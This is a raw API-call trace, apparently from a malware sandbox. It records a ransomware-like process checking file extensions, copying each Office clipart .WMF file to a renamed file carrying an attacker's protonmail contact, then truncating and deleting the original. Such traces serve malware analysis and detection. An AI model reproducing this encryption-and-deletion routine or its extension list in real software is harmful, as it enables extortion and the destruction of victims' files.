	[0071.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.211] lstrlenW (lpString=".doc") returned 4
	[0071.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.211] lstrlenW (lpString=".docx") returned 5
	[0071.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.211] lstrlenW (lpString=".pdf") returned 4
	[0071.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.211] lstrlenW (lpString=".xls") returned 4
	[0071.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.211] lstrlenW (lpString=".xlsx") returned 5
	[0071.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.211] lstrlenW (lpString=".ppt") returned 4
	[0071.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.211] lstrlenW (lpString=".zip") returned 4
	[0071.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.212] lstrlenW (lpString=".rar") returned 4
	[0071.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.212] lstrlenW (lpString=".bz2") returned 4
	[0071.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.212] lstrlenW (lpString=".7z") returned 3
	[0071.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.212] lstrlenW (lpString=".dbf") returned 4
	[0071.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.212] lstrlenW (lpString=".1cd") returned 4
	[0071.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0071.212] lstrlenW (lpString=".jpg") returned 4
	[0071.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.212] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.212] lstrlenW (lpString="AN01184_.WMF") returned 12
	[0071.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.213] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3746) returned 1
	[0071.213] CloseHandle (hObject=0x328) returned 1
	[0071.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220
	[0071.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.213] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.213] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0071.214] GetLastError () returned 0x0
	[0071.214] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xea2, lpOverlapped=0x0) returned 1
	[0071.691] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0071.692] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.692] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.692] SetEndOfFile (hFile=0x38c) returned 1
	[0072.100] CloseHandle (hObject=0x38c) returned 1
	[0072.118] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.118] SetEndOfFile (hFile=0x328) returned 1
	[0072.142] CloseHandle (hObject=0x328) returned 1
	[0072.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1
	[0072.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.142] lstrlenW (lpString=".doc") returned 4
	[0072.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.143] lstrlenW (lpString=".docx") returned 5
	[0072.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.143] lstrlenW (lpString=".pdf") returned 4
	[0072.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.143] lstrlenW (lpString=".xls") returned 4
	[0072.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.143] lstrlenW (lpString=".xlsx") returned 5
	[0072.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.143] lstrlenW (lpString=".ppt") returned 4
	[0072.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.143] lstrlenW (lpString=".zip") returned 4
	[0072.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.143] lstrlenW (lpString=".rar") returned 4
	[0072.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.143] lstrlenW (lpString=".bz2") returned 4
	[0072.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.143] lstrlenW (lpString=".7z") returned 3
	[0072.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.143] lstrlenW (lpString=".dbf") returned 4
	[0072.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.143] lstrlenW (lpString=".1cd") returned 4
	[0072.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.143] lstrlenW (lpString=".jpg") returned 4
	[0072.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.143] lstrlenW (lpString=".doc") returned 4
	[0072.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.144] lstrlenW (lpString=".docx") returned 5
	[0072.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.144] lstrlenW (lpString=".pdf") returned 4
	[0072.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.144] lstrlenW (lpString=".xls") returned 4
	[0072.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.144] lstrlenW (lpString=".xlsx") returned 5
	[0072.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.144] lstrlenW (lpString=".ppt") returned 4
	[0072.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.144] lstrlenW (lpString=".zip") returned 4
	[0072.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.144] lstrlenW (lpString=".rar") returned 4
	[0072.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.144] lstrlenW (lpString=".bz2") returned 4
	[0072.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.144] lstrlenW (lpString=".7z") returned 3
	[0072.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.144] lstrlenW (lpString=".dbf") returned 4
	[0072.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.144] lstrlenW (lpString=".1cd") returned 4
	[0072.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0072.144] lstrlenW (lpString=".jpg") returned 4
	[0072.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.145] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.145] lstrlenW (lpString="AN04196_.WMF") returned 12
	[0072.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.145] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3144) returned 1
	[0072.145] CloseHandle (hObject=0x328) returned 1
	[0072.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220
	[0072.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.146] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.146] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.147] GetLastError () returned 0x0
	[0072.147] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xc48, lpOverlapped=0x0) returned 1
	[0072.149] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xc50, lpOverlapped=0x0) returned 1
	[0072.150] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.150] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.150] SetEndOfFile (hFile=0x38c) returned 1
	[0072.150] CloseHandle (hObject=0x38c) returned 1
	[0072.151] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.151] SetEndOfFile (hFile=0x328) returned 1
	[0072.152] CloseHandle (hObject=0x328) returned 1
	[0072.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1
	[0072.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.152] lstrlenW (lpString=".doc") returned 4
	[0072.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.152] lstrlenW (lpString=".docx") returned 5
	[0072.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.153] lstrlenW (lpString=".pdf") returned 4
	[0072.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.153] lstrlenW (lpString=".xls") returned 4
	[0072.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.153] lstrlenW (lpString=".xlsx") returned 5
	[0072.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.153] lstrlenW (lpString=".ppt") returned 4
	[0072.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.153] lstrlenW (lpString=".zip") returned 4
	[0072.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.153] lstrlenW (lpString=".rar") returned 4
	[0072.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.153] lstrlenW (lpString=".bz2") returned 4
	[0072.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.153] lstrlenW (lpString=".7z") returned 3
	[0072.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.153] lstrlenW (lpString=".dbf") returned 4
	[0072.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.153] lstrlenW (lpString=".1cd") returned 4
	[0072.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.153] lstrlenW (lpString=".jpg") returned 4
	[0072.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.153] lstrlenW (lpString=".doc") returned 4
	[0072.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.153] lstrlenW (lpString=".docx") returned 5
	[0072.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.154] lstrlenW (lpString=".pdf") returned 4
	[0072.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.154] lstrlenW (lpString=".xls") returned 4
	[0072.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.154] lstrlenW (lpString=".xlsx") returned 5
	[0072.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.154] lstrlenW (lpString=".ppt") returned 4
	[0072.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.154] lstrlenW (lpString=".zip") returned 4
	[0072.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.154] lstrlenW (lpString=".rar") returned 4
	[0072.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.154] lstrlenW (lpString=".bz2") returned 4
	[0072.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.154] lstrlenW (lpString=".7z") returned 3
	[0072.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.154] lstrlenW (lpString=".dbf") returned 4
	[0072.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.154] lstrlenW (lpString=".1cd") returned 4
	[0072.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0072.154] lstrlenW (lpString=".jpg") returned 4
	[0072.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.154] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.155] lstrlenW (lpString="AN04206_.WMF") returned 12
	[0072.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.155] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=7668) returned 1
	[0072.155] CloseHandle (hObject=0x328) returned 1
	[0072.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220
	[0072.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.155] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.155] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.156] GetLastError () returned 0x0
	[0072.156] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1df4, lpOverlapped=0x0) returned 1
	[0072.157] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1e00, lpOverlapped=0x0) returned 1
	[0072.158] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.158] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.159] SetEndOfFile (hFile=0x38c) returned 1
	[0072.159] CloseHandle (hObject=0x38c) returned 1
	[0072.160] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.160] SetEndOfFile (hFile=0x328) returned 1
	[0072.161] CloseHandle (hObject=0x328) returned 1
	[0072.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1
	[0072.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.161] lstrlenW (lpString=".doc") returned 4
	[0072.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.161] lstrlenW (lpString=".docx") returned 5
	[0072.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.161] lstrlenW (lpString=".pdf") returned 4
	[0072.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.161] lstrlenW (lpString=".xls") returned 4
	[0072.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.162] lstrlenW (lpString=".xlsx") returned 5
	[0072.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.162] lstrlenW (lpString=".ppt") returned 4
	[0072.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.162] lstrlenW (lpString=".zip") returned 4
	[0072.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.162] lstrlenW (lpString=".rar") returned 4
	[0072.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.162] lstrlenW (lpString=".bz2") returned 4
	[0072.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.162] lstrlenW (lpString=".7z") returned 3
	[0072.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.162] lstrlenW (lpString=".dbf") returned 4
	[0072.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.162] lstrlenW (lpString=".1cd") returned 4
	[0072.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0072.162] lstrlenW (lpString=".jpg") returned 4
	[0072.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
